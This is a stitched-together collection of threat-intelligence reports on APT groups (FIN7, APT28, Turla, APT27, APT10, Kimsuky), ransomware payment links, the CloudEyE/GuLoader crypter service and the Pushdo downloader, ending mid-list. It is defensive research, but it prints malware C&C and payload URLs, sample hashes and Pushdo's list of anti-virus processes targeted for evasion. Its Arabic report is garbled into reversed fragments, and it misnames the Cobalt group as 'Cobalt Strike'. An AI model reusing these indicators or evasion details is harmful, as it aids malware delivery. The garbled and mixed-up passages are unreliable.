Despite the major takedown step taken by the United States authorities against the alleged group leaders, it appears that the group has not ceased action. Researchers reported recently that since the arrest, FIN7 has targeted approximately 130 companies worldwide using spear-phishing campaigns and delivering the GRIFFON malware, a JavaScript backdoor. In this case as well, campaign operations were able to gain the trust of their victims using well-written, business-related content. The group runs a seemingly legitimate operation which includes the use of fake companies to hire professionals such as vulnerability researchers and penetration testers. Evidently, their procedures are organized enough to enable them to continue functioning even without their leaders. It has a clear purpose, a successful record, and a drive – to generate the greatest revenue, keep avoiding detection, and utilize new social engineering tactics, unfamiliar to the business sector employees. ### Threat Groups APT28 and Sandstorm Targeting European Governments Russia's interference with political procedures worldwide in cyberspace is on the rise. The first notable incident, which made headlines and raised public awareness of Russian involvement in the political landscape, was the infamous data leak from the Democratic National Committee prior to the 2016 presidential elections in the United States. The hack, in which almost 20,000 sensitive emails were made public, is attributed to the Sofacy group, also known as APT28 – a group linked to the Russian military intelligence agency GRU. This hack was followed by aggressive fake news campaigns spread throughout social media, which promoted the Republican candidate, Donald Trump. Another noteworthy attack targeting a political entity is the NotPetya ransomware attack, which took place in June 2017. In this attack, government offices, banks, a city airport, and even the power utility of Kiev were severely attacked by a new, fast-spreading type of ransomware later dubbed NotPetya. The malware features were significantly based on the NSA tools leak. The attackers, most likely the Russian government-backed group Sandworm, infected the update servers of a popular software business in Ukraine and propagated via its software updates. In the first half of 2019, we are witnessing the continuance of this line of action, as both APT28 and Sandworm targeted European government-related institutions with spear-phishing emails ahead of the European Parliament elections in May 2019. Researchers reported that emails containing links to seemingly legitimate websites were sent to government personnel across Europe in order to lure them into changing their passwords and thus providing their credentials to the attackers. Similarly to the United States attack, the attacks primarily targeted democratic institutions in Europe, but election campaigns, think tanks, and non-profit organizations promoting agendas related to democracy and public policy were also attacked. ### Fake Software Update Used in a Turla APT Campaign Against Government Targets In January this year, ESET investigators tracked a new espionage campaign by Turla, a government-backed Russian group that has been operating since at least 2014 against former USSR countries. As part of the campaign, the group used social engineering to convince its targets to download and run a supposedly legitimate Adobe Flash Player containing a backdoor. The victims think they are referred to the official Adobe site to download a legitimate update, but in reality, the traffic is redirected to the attacker’s server and behind the scenes, a malicious file is downloaded. According to the report, most of the targets were political factors. Researchers ruled out the option that Adobe's official servers were hacked and used for malware download. They speculate that MitM (Man in the Middle) attacks were used as part of the attack chain. There are several ways that may constitute Turla's attack vector: - Local MitM - Using enterprise machines that are already under Turla’s control as an intermediary between the victim machines and the server that stores the malware, by performing ARP Spoofing. - MitM on the gateway of the attacked organization - Interception of the entire organization's traffic through utilization of the corporate gateway rather than through specific stations. - MitM at the ISP level - the group's intervention takes place outside of the attacked organization’s network. There have been previously reported cases of malware distribution using this attack vector. - BGP Hijacking attack – redirection of traffic by manipulating the routing table, thus altering the route to the Adobe official servers so that communication passes through a point that belongs to the group. Once control of the victim machine is obtained, the collected information is translated to Base64 and sent to a domain under the attacker’s control. Collected information includes a username, a list of security software installed on the machine, and the routing table. Parallel to the malicious activity, inquiries of legitimate Adobe addresses and domains occur, as a means of disguise. Once the infection process is complete, a legitimate Adobe Flash Player version is downloaded and installed, coming from an unofficial source like Google Drive. In recent months, Turla has begun to develop new advanced malware and attack techniques. According to recent findings from July, the group distributes a new Dropper called Topinambour, which performs further malware downloads. It also features data exfiltration capabilities. Turla implements a number of evasion and defense mechanisms. For example, it develops versions of the malware in several different coding languages (JavaScript, .NET, and PowerShell) – thus, if one version fails, another one is executed. ### Financial Institutions Attacked by Russian Attack Groups via Cloud Services At the end of January, Netskope researchers discovered a wave of attacks aimed at some 42 entities linked to the financial sector and government agencies around the world. The attacker, most likely Cobalt Strike, used Google Cloud Platform (GCP) to distribute malware through PDF files that were created using Adobe Acrobat 18.0 and then emailed. The company alerted Google in January. In the first stage of the attack, the victims received malicious emails that contained PDF files that were automatically uploaded to legitimate cloud services (Google Drive, for example). The emails were sent from legitimate and reliable sources to lure the victim to open the email and file. The victims then shared the PDF with other users who received it through the cloud services, and therefore found it reliable. The PDF files contained a link to a Word file called “Doc102018.Doc” which contained macros. When the Word file is run, a message pops up that asks the user to enable editing. After the message is approved, a macro file downloads a file named fr.txt from the transef.biz/fr.txt address. ### Chinese APT Activities **The International Civil Aviation Organization Concealed a Major Cyber Attack by APT27** Just recently, it was revealed that during 2016, the International Civil Aviation Organization (ICAO) experienced a cyber attack caused by poor management and negligence in the face of the event. The attackers achieved a foothold in ICAO's network for several months, and by attacking ICAO, the attackers were able to reach a Turkish government website. The attackers planted malware that targets governments and airlines in two servers. Researchers discovered security loopholes in the network that were neglected. Four employees from the IT department hid evidence and mishandled the incident. The incident was discovered in November 2016, when a researcher from Lockheed Martin contacted the information Security officer at ICAO to alert them about two infected servers. The researcher stated in his alert that it was a significant event with a high risk against the aviation sector. The ICAO Information Security Officer (CISO) received the alert and instructed to shut down the infected servers. However, the IT team refused to do so and ignored the request for a long time. The firm authorized a forensic investigation on the servers only after two weeks. During the whole time since the discovery of the attack, the IT employees did not cooperate with the officer's instructions and even took out classified information to their homes. A high-ranking official in the company rejected the recommendations to investigate the IT team's performance, and they were even reemployed. The attackers were able to attack foreign government websites through ICAO because of the security loopholes. ### The Attackers’ Identity The researchers assume that the Chinese attack group APT27 (also known as Emissary Panda) is responsible for the attack. The group is known for espionage and attacks against foreign governments, embassies, and technology and defense organizations. They are also known for watering hole attacks by injecting malicious code into government websites. - The attackers gained 2000 critical systems passwords like email servers and accounts with high permissions (domain admin and sys admin). - They could read, send, and delete emails from every user in the organization. - They obtained personal information about all present and past employees. - They obtained medical information of anyone who used ICAO's health clinic. - They stole personal and financial information from anyone who visited the ICAO building or that was even subscribed to the website. ### Norwegian Cloud Service Firm Visma Hacked by Chinese Group APT10 Techerati posted details about an attack by the Chinese attack group APT10, which is a part of the CloudHopper attack campaign. The Norwegian firm Visma, which provides cloud solutions for over 850,000 clients around the world, experienced a breach in their network already in August 2018. According to a report posted by Rapid7 and Recorded Future, the attack was carried out by the Chinese attack group APT10. We express doubts about attributing the attack to this group with full certainty. The attack was designed to target cloud services to obtain user's information. The attackers stole the login details from Citrix and LogMeIn (used by Visma employees) about two weeks after the first propagation in the firm's network. They then used these login details to distribute malware that spread to several computers in the firm's network and enabled access to sensitive information. The attackers used the attack tool Mimikatz (named pd.exe) to steal login details. They made use of scheduled tasks via the Microsoft BITSAdmin utility to transfer files from their C&C to the Visma network. Examination of network logs revealed an employee’s credentials were stolen and used to authenticate to the network outside of his normal working hours. Throughout August 2018, the attackers regularly logged in to the Visma network during typical Chinese working hours. Two weeks after the initial intrusion into the network, APT10 implanted their malware, Tochilus. In order to do this, they used a C&C server that communicates with Salsa20 and RC4 encryption. After entering the system, the attackers reached information on the Visma systems by using WinRAR files which were transferred to a Dropbox account. APT10 has already used Dropbox previously. This attack method raises concerns among many companies in the Western world, since they rely on cloud services. Visma’s operations and securities manager Espen Johansen told Reuters that the attack was halted before client networks were breached.
# North Korea-linked APT Attack Disguised as Digital Asset Wallet Service Customer Center ## Malware Analysis Report Hello? This is the East Security Security Response Center (ESRC). A malicious file disguised as the Klip customer center was recently discovered, and users need to be extra careful. Klip is a digital asset wallet service developed by Ground X, a blockchain-related subsidiary of Kakao. The file found this time was distributed under the file name '[Klip Customer Center] Mistransmission_Token Resolution_Guide.doc'. The file contains malicious macros, convincing users to click the Enable Content button, claiming that the document is protected. If the user clicks the use content button, it is written like a file sent from the actual Klip customer center, causing the user to mistake it for a real normal file. However, that file contains the macro code, and the macro runs in the background. When the macro is executed, the file is dropped in XML format, and the dropped file is automatically executed and then attempts to connect to the C&C. However, at the time of analysis, access to the C&C server was not possible, so further analysis was not possible. This threat has been identified as an extension of the 'Smoke Screen' campaign, which is one of the three major threats of 'Thallium (also known as Kimsuky)'. **IoC** - hxxp://asenal.medianewsonline[.]com/good/luck/flavor/list.php?query=1 - hxxp://asenal.medianewsonline[.]com/good/luck/flavor/show.php Currently, the file is being detected as Trojan.Downloader.DOC.Gen.
# Blockchain Analysis Shows Connections Between Four of 2020’s Biggest Ransomware Strains As we’ve covered on our blog, there may be fewer cybercriminals responsible for ransomware attacks than one would initially think given the number of individual attacks, distinct strains, and amount stolen from victims. Cybersecurity researchers point out that many RaaS affiliates carrying out attacks switch between different strains, and many believe that seemingly distinct strains are actually controlled by the same people. Using blockchain analysis, we’ll investigate potential connections between four of 2020’s most prominent ransomware strains: Maze, Egregor, SunCrypt, and Doppelpaymer. The four ransomware strains were quite active last year, attacking prominent companies such as Barnes & Noble, LG, Pemex, and University Hospital New Jersey, amongst others. All four use the RaaS model, meaning that affiliates carry out the ransomware attacks themselves and pay a percentage of each victim payment back to the strain’s creators and administrators. All four also use the “double extortion” strategy of not just withholding victims’ data, but also publishing pieces of it online as an extra incentive for victims to pay the ransom. Below, we see the four strains’ revenue since late 2019 broken out quarterly. Note that Egregor only became active just before Q4 2020 (mid-September to be specific), soon after the Maze strain became inactive. Some cybersecurity researchers see this as evidence that Maze and Egregor are linked in some way. In early November, Maze’s operators said the strain was shutting down in a press release posted to its website, following a slowdown in activity. Soon after, most of its affiliates migrated to Egregor, leading some to believe that the Maze operators have simply rebranded as Egregor and instructed the affiliates to join. This is relatively common in ransomware, though it’s also possible that the affiliates have decided for themselves that Egregor is their best option. It’s even possible that the Maze affiliates became unhappy with the Maze operators, leading to the split. However, as noted by Bleeping Computer, Maze and Egregor share much of the same code, the same ransom note, and have very similar victim payment sites. Cybersecurity firm Recorded Future notes this too, as well as similarities between Egregor and a banking trojan called QakBot. It’s not just Egregor either. In another story, Bleeping Computer claims that SunCrypt representatives contacted them claiming to be part of the “Maze ransomware cartel” prior to Maze’s shutdown announcement, though Maze has denied this. However, the claim of a connection is also supported by a privately circulated report from threat intelligence firm Intel471 claiming that representatives from SunCrypt described their strain as a “rewritten and rebranded version of a ‘well-known’ ransomware strain.” Intel471’s report also claims that SunCrypt only works with a small number of affiliates at a time, whom the SunCrypt operators interview and vet extensively. Therefore, we believe any overlap in affiliates between SunCrypt and other ransomware strains would be more likely to suggest a deeper connection between the two strains, rather than just coincidence. ## Blockchain analysis suggests affiliate overlap and other possible connections between Maze, Egregor, SunCrypt, and Doppelpaymer As we outline above, there’s circumstantial evidence suggesting links between some of these four strains, as well as reports of affiliate migration. But what links do we see on the blockchain? Let’s start with Maze and SunCrypt. The Chainalysis Reactor graph above provides strong evidence suggesting that a Maze ransomware affiliate is also an affiliate for SunCrypt. Starting at the bottom of the graph, we see how Maze distributes funds taken in ransomware attacks. First, the majority of each successful ransom payment goes to the affiliate, as they’re taking on the risk of actually carrying out the ransomware attack. The next biggest cut goes to a third party. While we can’t know for sure what that third party’s role is, we believe it’s likely an ancillary service provider who helps Maze pull off attacks. Ransomware attackers often rely on third parties for tools like bulletproof hosting, penetration testing services, or access to vulnerabilities in victims’ networks. These ancillary service providers can be found peddling their wares on cybercriminal darknet forums, but aren’t necessarily involved in all ransomware attacks. Finally, the smallest cut of each ransom payment goes to another wallet that we believe belongs to the strain’s administrators. In this case, however, we see that the Maze affiliate also sent funds — roughly 9.55 Bitcoin worth over $90,000 — via an intermediary wallet to an address labeled “Suspected SunCrypt admin,” which we’ve identified as part of a wallet that has consolidated funds related to a few different SunCrypt attacks. This suggests that the Maze affiliate is also an affiliate for SunCrypt, or possibly involved with SunCrypt in another way. Another Reactor graph shows links between the Egregor and Doppelpaymer ransomware strains. In this case, we see that an Egregor wallet sent roughly 78.9 BTC worth approximately $850,000 to a suspected Doppelpaymer administrator wallet. Though we can’t know for sure, we believe that this is another example of affiliate overlap. Our hypothesis is that the Egregor-labeled wallet is an affiliate for both strains sending funds to the Doppelpaymer administrators. Finally, the Reactor graph below shows what we believe is an instance of Maze and Egregor administrators using the same money laundering infrastructure. Both strains’ victim payments’ wallets have sent funds to two deposit addresses at a prominent cryptocurrency exchange via intermediary wallets. Based on their transaction patterns, we believe that both deposit addresses belong to over-the-counter (OTC) brokers who specialize in helping ransomware operators and other cybercriminals trade illicitly-gained cryptocurrency for cash. In the case of Maze, those funds first flow through another suspected money laundering service before reaching the OTC addresses — it’s unclear whether Maze receives cash from that service or from the OTCs themselves, and it’s also possible that the OTC broker and those running the laundering service are one in the same. While this doesn’t suggest that Maze and Egregor share the same administrators or affiliates, it’s still an important potential lead for law enforcement. Cryptocurrency-related crime isn’t worthwhile if there’s no way to convert ill-gotten funds into cash. By going after bad actors like the money laundering service or corrupt OTC brokers on the graph above — the latter of whom, again, operate on a large, well-known exchange — law enforcement could significantly hamper the ability of Maze and Egregor to operate profitably without actually catching the strains’ administrators or affiliates. It’s not just those specific ransomware strains either. The suspected laundering service has also received funds from the Doppelpaymer, WastedLocker, and Netwalker ransomware strains, taking in nearly $2.9 million worth of cryptocurrency from the category as a whole. Likewise, it’s received nearly $650,000 worth of cryptocurrency from darknet markets such as Hydra and FEShop. The two OTC broker addresses on the graph have similar criminal exposure as well. ## What does this mean for ransomware? While we can’t say for sure that Maze, Egregor, SunCrypt, or Doppelpaymer have the same administrators, we can say with relative certainty that some of them have affiliates in common. We also know that Maze and Egregor rely on the same OTC brokers to convert cryptocurrency into cash, though they interact with those brokers in different ways. Regardless of the exact depth and nature of these connections, the evidence suggests that the ransomware world is smaller than one may initially think given the number of unique strains currently operating. This information can be a force multiplier for law enforcement. If they can identify and act against groups controlling multiple ransomware strains, or against OTCs enabling multiple ransomware strains to cash out their earnings, then they’ll be able to halt or impact the operations of several strains with one takedown.
# ايبيل براقع ةقحلام ## TLP: White For public distribution ### ماعلا رشنلل 2016 / ربمتبس / 18 1437 / ةجحلا يذ / 17 Tel: +965 22445500 Fax: +1 (888) 4333113 Email: [email protected] Website: www.cyberkov.com ### :ينوناق هيونت هذه زيهجت مت فوكربياس ةكرش نم يساسأ بجاوك ماعلا يعولا رشن باب نم ماعلا عيزوتلاو لامعتسلال ةقيثولا. فوكربياس ةكرش ىلإ ةراشلإا نود اهعيزوت وا ةقيثولا هذه رشن عنم ي هنأ ةراشلإا بجت امك. تيوكلا ةلود ةمصاع يف يساسلأا اهرقمو تامولعملا ةينقتل فوكربياس ةكرش لبق نم ةساردلا هذه دادعإ مت. ايبيل براقع ةقحلام ةقيثولا ناونع ماعلا رشنلل ليمعلا لولأا رادصلإا ةخسنلا. 2016\ربمتبس\1 دادعلاا خيرات 2016\ربمتبس\18 ماعلا عيزوتلا و رشنلل ة حلا ص ةيرسلا PD-001 عجرملا. لاصتلاا تامولعم يملاعلإا بتكملا [email protected] ينورتكللاا ديربلا +965 22445500 +1 (888) 433-3113 +965 22445500 بتكملا مقر [email protected] ةماعلا ةلئسلأل. ن ذإ ن ود اهللاغتسا وا اهلامعتسا عنمُيو ةيلاردفلا ايسورو ةيكيرملأا ةدحتملا تايلاولا يف ةقثومو ةلجسم ةيراجت تاملاع يه "فوكربياس" فوكربياس. ةملاع مادختسا طورش عضختو. تامظنم وأ دارفأ ءاوس اهباحصأ ىلإ ةقيثولا هذه يف ةروكذملا ىرخلأا ةيراجتلا تاملاعلا عيمج ةيكلم دوعت امك، فوكربياس ةكرش نم يطخ. ةحارص كلذ فلاخ ىلع ةكرشلا صن ت مل ام، تيوكلا ةلود يف هب لومعم وه امل ةيراجتلا فوكربياس. ### :ينورتكللإا تاعومجم نيب برح بوشنب فرعتو، يفا ذقلا ماظن طوقس ىلا تدأ يتلا رياربف 17 ةروث ذنم ًايسايس ةرقتسم ريغ ةلود اهنأ ايبيل فرع ت امبر. ق لطني ضرأ اهنأب ريرقتلا اذه لبق فرعت نكت مل ديكأت لكب اهنكل، طفنلاو ةورثلا رداصمو قطانملاو ض رلأاب مكحتلاو ةرطيسلا فدهب ةفلتخم. مويلا امأ، ةفلتخملا تاعومجملا نيب عارصلا تايلمع يف ينورتكللإا سسجتلا مادختساب فرعت نكت ملو ن يينورتكللإا سيساوجلاو زركاهلا اهنم. ةفلتخم ةصق انيدلف. هتاقلاعو صخشلا تا كرحت ةسارد متي هبف تاعارصلا ةفد بلقل ةيسيئرلا لماوعلا دحأ تاعومجملاو دارف لأا ىلع مويلا ينورتكللإا سسجتلا دعي. يركسعو يسايس ذوفن وذ صخشلا اذه ناك اذإ ةصاخ، ريرقتلا اذه هنيبيس ام اذهو هءلا مز عادخو هعادخ كلذكو ةيركسعلا هططخو ةيصخشلا. ### Cyberkov Security ةينملأا راطخلأا ليلحتب صصختملا اهقيرفلو فوكربياس ةكرشل تلصو 2016 سطسغأ 6 خيراتبو ةيضاملا عيباسلأا يف فادهتسا يف تحجن يتلاو ديوردنلآا ةصنم ىلع لمعت يتلا ينورتكللإا سسجتلا جمارب نم ددع Incident Response team (CSIRT). مهكولس ببسب "ايبيل براقع" بقل مهيلع انقلطأ نيذلا سيساوجلل يساسأ فدهك ايبيل ةلود يف نيرثؤملاو نيذفانلاو نييسايسلا نم ةعومجم. طشنت و يهتنت لا اياحضلا نم ةلماك ةكبش نيوكت نم كلذ دعب اونكمتيل مهقارتخا مث مهعادخو هئلامز فادهتسا مث مدختسملا عادخ يف ثيبخلا. يزاغنبو سلبارط يتقطنم يف صاخ لكشب "ايبيل براقع" ةعومجم. ةبقارم يف رصحني لا سسجتلا اذه رثأ نإف، قح هجو ريغبو قحب ءاوس سانلا هب لتقيو ءامدلا هيف كفست يركسع عارص يبيللا عارصلا نلأو. اهريغو تارئاطلا ةطساوب ديعب ن هفصق وأ هلايتغا وأ هلتق لهسي امم اهليصافت ةفاكب هتاكرحت. ةفرعمو هناكم عبتتب لب طقف صخشلا يركسعل ا لمعلاو برحلا لاكشأ نم ايسيئر لاكش حبصأ صاخشلأل رشابملا ينورتكللإا فادهتسلااو ينورتكللإا سسجتلا رطخ نأ كردن اذهبو. لايتغلاا يف رايط نودب تارئاطلا مادختسا لثم هلثم دعب نع برح نشل حيتافملا تاحول ةطساوبو رتويبمكلا تاشاش فلخ نم سرامي هنكلو. فادهتسلاا موي. هفورعم ريغ ةقيرطب نيرثؤملا نييبيللا نييسايسلا دح اب صاخلا مارجليتلا باسح قارتخا مت 2016 سطسغأ 6 خيراتب تبسلا موي ةحيبص يف. كليلد " ن اونعب هنيودت يف ًاقباس انيصوأ دق انكو مارجيليت قيبطتب صاخلا هباسحل "ةيئانثلا ةيامحلا" مدختسي نكي مل ف دهتسملا صخشلا نكل ًايلاح. يعولا ىلا رقتفي فدهتسملا صخشلا نلأو، لهسأ هفادهتسا ناكف " !ناملأاو ةيرسلا نم ةجرد ىصقأب Telegram مارجيليت قيبطت مادختسإ وحن. ةقيرطلا هذهب هسفن يمحي هنأ هنم ًانظ ديوردنلآا هزاهج نم مارجيليت قيبطت فذحب ماق بولطملا ينو رتكللإا لاسراو همساب مهتلسارم مث فدهتسملا صخشلاب. ةصاخلا لاصتلاا ةمئاق يف نيدوج وملا ةفاك هلسارمب "ايبيل براقع" سيساوج ماق يلاتلا مويلا يف اوئطخأ "ايبيل براقع" نأ انه ظحلانو، هيلا عامتسلإاو هليمحت بجي ماه يتوص فلم هنأ ىلع " Voice Massege.apk" مساب ثيبخ فلم. ةيلمعلا ف لخ ف قي نم نا ًاعابطنا يطعي امم "ةلاسر" ينعت يتلاو " Message" ةملك انه اهيف دوصقملا "Massege" ة ملكف فلملا ةيمست. ةيجراخ ةهج وأ ةيبنجأ تسيلو ةيبرع ةعومجم وأ صخش. "ريغصت" لمعب موقي ديوردنلآاب صاخ يقيقح جمانرب عم جومدم يسسجت جما نربو ثيبخ فلم ةقيقحلا يف وه " Voice Massege.apk’" فلم. صخشل ا قارتخاب ةديدجلا لاصتلاا مئاوقل ثيبخلا فلملا اذه لاسرا دعب "ايبيل براقع" ةعومجم موقت، يمس رلا لقوق رجتمب دوجوم وهو طبا ورلا. مهيلع سسج ت ملاو نيق رتخ ملا نم ةكبش ىلع لصحت كلذبو صخشلا ولت. ليلحتلاو ثح بلاو ينورتكللإا قيقحتلا للاخ نمو مهتايلمعو مهفادهأ ةفرعمل ةثيبخلا. اهجمارب ليلحتو ةعو مجملا هذه عبتت ب انمق فوكربياس يف نحن نأ ليلحتلا نم نيبت امك، نيفدهتسملا صاخشلأا نع تارابختسلااو تامولعمل ا عمج اهفدهو ةيسايس فادهأ تاذ ةعومجملا هذه نأ انكردأ ينفلا. و "زودنو" ليغشتلا ةمظ نأ فدهتستو، اذه انموي ىتحو 2015 ةنسل ربمتبس رهش ذنم ينورتكللإا سسجتلا لاجم يف لمعت ةعومجملا هذه "ديوردنآ". ًاينيقي كردن اننكل "ةيعامتجلاا ةسدنهلا" عادخلا ةيلمع يف ةديج ةربخ نوكلتمي مهنكل، ةدقعمو ًادج ةمدقتم تسيل. اهقارتخاو ةعومجملا لمع ةقيرط. ةرثؤمو هلاعف كتامجه نوكتل مدقتم ىوتسم وذو تاراهملا فرتحم نوكت نلأ جاتحت لا كنأ. Tel: +965 22445500 Fax: +1 (888) 4333113 Email: [email protected] Website: www.cyberkov.com
# GuLoader? No, CloudEyE. Italian company exposed on Clearnet earned up to $500,000 helping cybercriminals to deliver malware using cloud drives. Recently, we wrote about the network dropper known as GuLoader, which has been very actively distributed in 2020 and is used to deliver malware with the help of cloud services such as Google Drive. The delivery of malware through cloud drives is one of the fastest growing trends of 2020. We see hundreds of attacks involving GuLoader every day; up to 25% of all packed samples are GuLoaders. The dropper delivers a huge number of malware types, including different malicious campaigns apparently related to many different threat actors. The dropper is constantly updated: we see new versions with sandbox evasion techniques, code randomization features, C&C URL encryption, and additional payload encryption. As a result, we can reasonably assume that behind GuLoader there is a major new service aiming to replace traditional packers and crypters. We did indeed manage to find this service, which is created and maintained by an Italian company that pretends to be completely legitimate and aboveboard, and even has a website in Clearnet that uses the .eu domain zone. But first things first. ## DarkEyE While monitoring GuLoader, we repeatedly encountered samples that were detected as GuLoader, but they did not contain URLs for downloading the payload. During manual analysis of such samples, we found that the payload is embedded in the sample itself. Those samples appear to be related to DarkEyE Protector. The DarkEyE samples have a lot in common with the GuLoader samples. They both are written in VisualBasic, contain a shellcode encrypted with a 4-bytes XOR key, and have the same payload decryption procedure. We searched for “DarkEyE Protector” on the web and easily found a very old thread from 2014 in which it was advertised by a user known as “xor.” We also found some earlier ads for DarkEyE on the same website, these posted by the user “sonykuccio.” The ads describe DarkEyE as a crypter that can be used with different malware such as stealers, keyloggers, and RATs (remote access Trojans), and makes them fully undetectable for antiviruses (FUD). This left us with no doubt that this software was developed to protect malware from discovery by anti-viruses, as the authors didn’t forget to emphasize that they “don’t take any responsibility for the use” of DarkEyE. The user “sonykuccio” also posted contact emails for anyone interested in buying DarkEyE. Finally, we found the website securitycode.eu, whose URL is mentioned in one of the ads above. ## DarkEyE evolved into CloudEyE Indeed, the website securitycode.eu is connected to DarkEyE. However, currently this website focuses on another product – CloudEyE. The company selling CloudEyE pretends to be legitimate. As said on their website, CloudEyE is security software intended for “Protecting windows applications from cracking, tampering, debugging, disassembling, dumping.” But let’s look at the rest of the securitycode.eu website. It contains several YouTube video tutorials on how to use CloudEyE, and, as it turned out, how to abuse Google Drive and OneDrive: - “Protecting an application using google drive.” - “Protecting using an already existing project, with a saved profile.” - “Protecting file using VPS/Cloud or any dedicated server.” - “Protecting file using backup domains.” - “CloudEyE avoiding debugging of application.” - “Protecting ‘putty’ application using OneDrive.” - “CloudEyE memory protection in action!” Watching one of the videos on this website, we noticed the same URL patterns as we have seen earlier in GuLoader. This is a placeholder for a URL that is used in some of GuLoader samples for downloading joined files (decoy images in our previous research). Way too much coincidence for us to find it here! We decided to obtain CloudEyE to see for ourselves if it is related to GuLoader. ## CloudEyE To test CloudEyE Protector, we decided to encrypt the calc.exe application. The XOR encryption key (password) is generated automatically and can’t be entered manually. After clicking “Next”, we got the encrypted file. Then we placed it on a local HTTP server and put the URL in the next window. After clicking “Next”, we see the window with the known URL template. We assumed that most customers don’t use additional options, so we decided to leave everything else as the default value. CloudEyE also allows you to set up autorun, select an icon, change the file size and choose the extension. Finally, we got the build. At the next step, we submitted the build to our sandbox and, unsurprisingly, we got the expected verdict. However, to be completely sure that CloudEyE produces samples that are universally acknowledged as GuLoader malware, we decided to analyze it manually and compare with a real GuLoader sample that we saw in the wild. GuLoader was slightly upgraded a few weeks ago. Therefore, we chose one of the recent samples which downloads the Formbook malware: - GuLoader MD5: 3d1fd9bcef7cbe915bb49857461ad781 - Payload URL: hxxps://drive.google.com/uc?export=download&id=1cs40Db_dgZugASem90KebWJ2mVl6LmjR - Encrypted Payload MD5: 95f29abac9c887639efc2d4e22b5350f - Decrypted Payload MD5: 3b72bf861b5d2907bb2d76d3d4d9d816 The CloudEyE-produced sample that we got has the same structure as GuLoader. Just like GuLoader, it is compiled with Visual Basic and contains shellcode encrypted with a random 4-bytes XOR key. Therefore, we decrypted the shellcode from both samples (CloudEyE and GuLoader). To make it harder for automatic analysis and probably also to prevent automatic decryption, the shellcode starts from a random stub and is prepended with a jump over this stub. In both samples, the same space on the stack is reserved for a structure with global variables. Variables in the structure have the same offset. Most of the code chunks differ only due to the applied randomization techniques. The useful code is the same in both samples. The URLs for downloading the payload and the “joined file” (i.e. the decoy image) in the new version of GuLoader are stored encrypted. GuLoader decrypts the URLs using the same key as used for decrypting the payload. After extracting the XOR keys, we can easily find and decrypt URLs in both samples. We can therefore conclude that the samples are almost identical and differ only generally due to applied code randomization techniques. ## Identities behind CloudEyE Let’s refer to the contact emails posted by the user “sonykuccio” in the DarkEyE ads. We looked for the emails and usernames in publicly available leaked email databases and managed to find several entries related to “sonykuccio.” Also, we surprisingly found a PDF containing a lot of real names and emails of Italian citizens, including the email “[email protected]” and the corresponding name “Sebastiano Dragna.” Let’s now refer to the Privacy Policy section on the website securitycode.eu. We see the same name! The owners of this business must sincerely believe in their own innocence if they dare to publish real names on the website. Therefore, “sonykuccio”, “xsebyx”, “Sebyno”, “[email protected]”, “[email protected]”, “[email protected]” are avatars and emails of the same person: Dragna Sebastiano Fabio. Unfortunately, we didn’t manage to find any relation between another name published on the website (Ivano Mancini) and names used on popular hacker forums. Sonykuccio is an old and established visitor to hacker forums. We saw that he started selling DarkEyE in the beginning of 2011. But even before creating DarkEyE protector, Sonykuccio was already providing services for protecting malware against anti-viruses (FUD service) and a spreading service for malware. ## CloudEyE and Covid-19 As we said, we see hundreds of attacks every day in different campaigns. Some of the CloudEyE users have been cynically using the name “Coronavirus” as a way to deceive and mislead victims, using the fear and desire for information about the pandemic to infect people with malware. ## Revenue The securitycode.eu website claims that their customer base numbers over 5,000. As they sell their basic package for $100 per month, this allows us to estimate their monthly income at $500,000. ## Conclusion CloudEyE operations may look legal, but the service provided by CloudEyE has been a common denominator in thousands of attacks over the past year. Tutorials published on the CloudEyE website show how to store payloads on cloud drives such as Google Drive and OneDrive. Cloud drives usually perform anti-virus checking and technically don’t allow the upload of malware. However, payload encryption implemented in CloudEyE helps to bypass this limitation. Code randomization, evasion techniques, and payload encryption used in CloudEyE protect malware from being detected by many of the existing security products on the market. Surprisingly, such a service is provided by a legally registered Italian company that operates a publicly available website which has existed for more than four years. Many of CloudEyE customers are threat actors with no deep technical knowledge; they are using publicly available malware or leaked hacking tools for stealing passwords, credentials, private information, and gaining control of the victim’s environment. ## Appendix: Hashes of samples | Description | MD5 | |--------------------------------------------------------|---------------------------------------| | Researched GuLoader sample | 3d1fd9bcef7cbe915bb49857461ad781 | | Encrypted GuLoader payload (Formbook) | 95f29abac9c887639efc2d4e22b5350f | | Formbook sample dropped by GuLoader | 3b72bf861b5d2907bb2d76d3d4d9d816 | | GuLoader Shellcode | 0284062f9a7415e413ed319c13dc0988 | | CloudEyE Shellcode | 5c4ed372836487562aa22ab9cd2798d9 | Check Point Threat Emulation provides protection against this threat: - Dropper.Win.CloudEyE.A - Dropper.Wins.CloudEyE.B - Dropper.Win.CloudEyE.I - Dropper.Win.CloudEyE.gl.J - Dropper.Win.CloudEyE.gl.L
# Pushdo - Analysis of a Modern Malware Distribution System Recently, Sophos published a blog entry detailing the trouble they are having with the Pushdo trojan, a fairly new and prolific threat being circulated in fake "E-card" emails. From their description, it is clear that the author(s) of Pushdo are making a concerted effort to spread their malware far and wide. But what exactly is Pushdo, and how does it work? We decided to take a closer look at this malware family. Pushdo is usually classified as a "downloader" trojan - meaning its true purpose is to download and install additional malicious software. There are dozens of downloader trojan families out there, but Pushdo is actually more sophisticated than most, but that sophistication lies in the Pushdo control server rather than the trojan. When executed, Pushdo reports back to one of several control server IP addresses embedded in its code. The server listens on TCP port 80 and pretends to be an Apache webserver. Any request that doesn't have the correct URL format will be answered with the following content. The Bender Bending Rodriguez text is simply misdirection to mask the true nature of the server - if the HTTP request contains the following parameters, one or more executables will be delivered. The malware to be downloaded by Pushdo depends on the value following the "s-underscore" part of the URL. The Pushdo controller is preloaded with multiple executable files - the one we looked at contained 421 different malware samples ready to be delivered. The Pushdo controller also uses the GeoIP geolocation database in conjunction with whitelists and blacklists of country codes. This enables the Pushdo author to limit distribution of any one of the malware loads from infecting users located in a particular country or provides the ability to target a specific country or countries with a specific payload. Pushdo keeps track of the IP address of the victim, whether or not that person is an administrator on the computer, their primary hard drive serial number (obtained by SMART_RCV_DRIVE_DATA IO control code), whether the filesystem is NTFS, how many times the victim system has executed a Pushdo variant, and the Windows OS version as returned by the GetVersionEx API call. The use of the physical hard drive serial number as an identifier is interesting - it not only provides a unique ID for the infected system, but can also reveal information such as whether the code is running in a virtual machine or not. For instance, a VMware system might return a serial number of "00000000000000000001" or simply "00", which is very easily spotted in a list of serial numbers of major hard drive vendors. This could be a way for the malware author to spy on anti-virus companies using automated tools to monitor the malware download points. As another anti-anti-malware function, Pushdo will look at the names of all running processes and compare them to the following list of anti-virus and personal firewall process names: - avp.exe - Armor2net.exe - kpf4ss.exe - blackd.exe - PXAgent.exe - ipfsrv.exe - safensec.exe - mcagent.exe - mpsevh.exe - mcuimgr.exe - 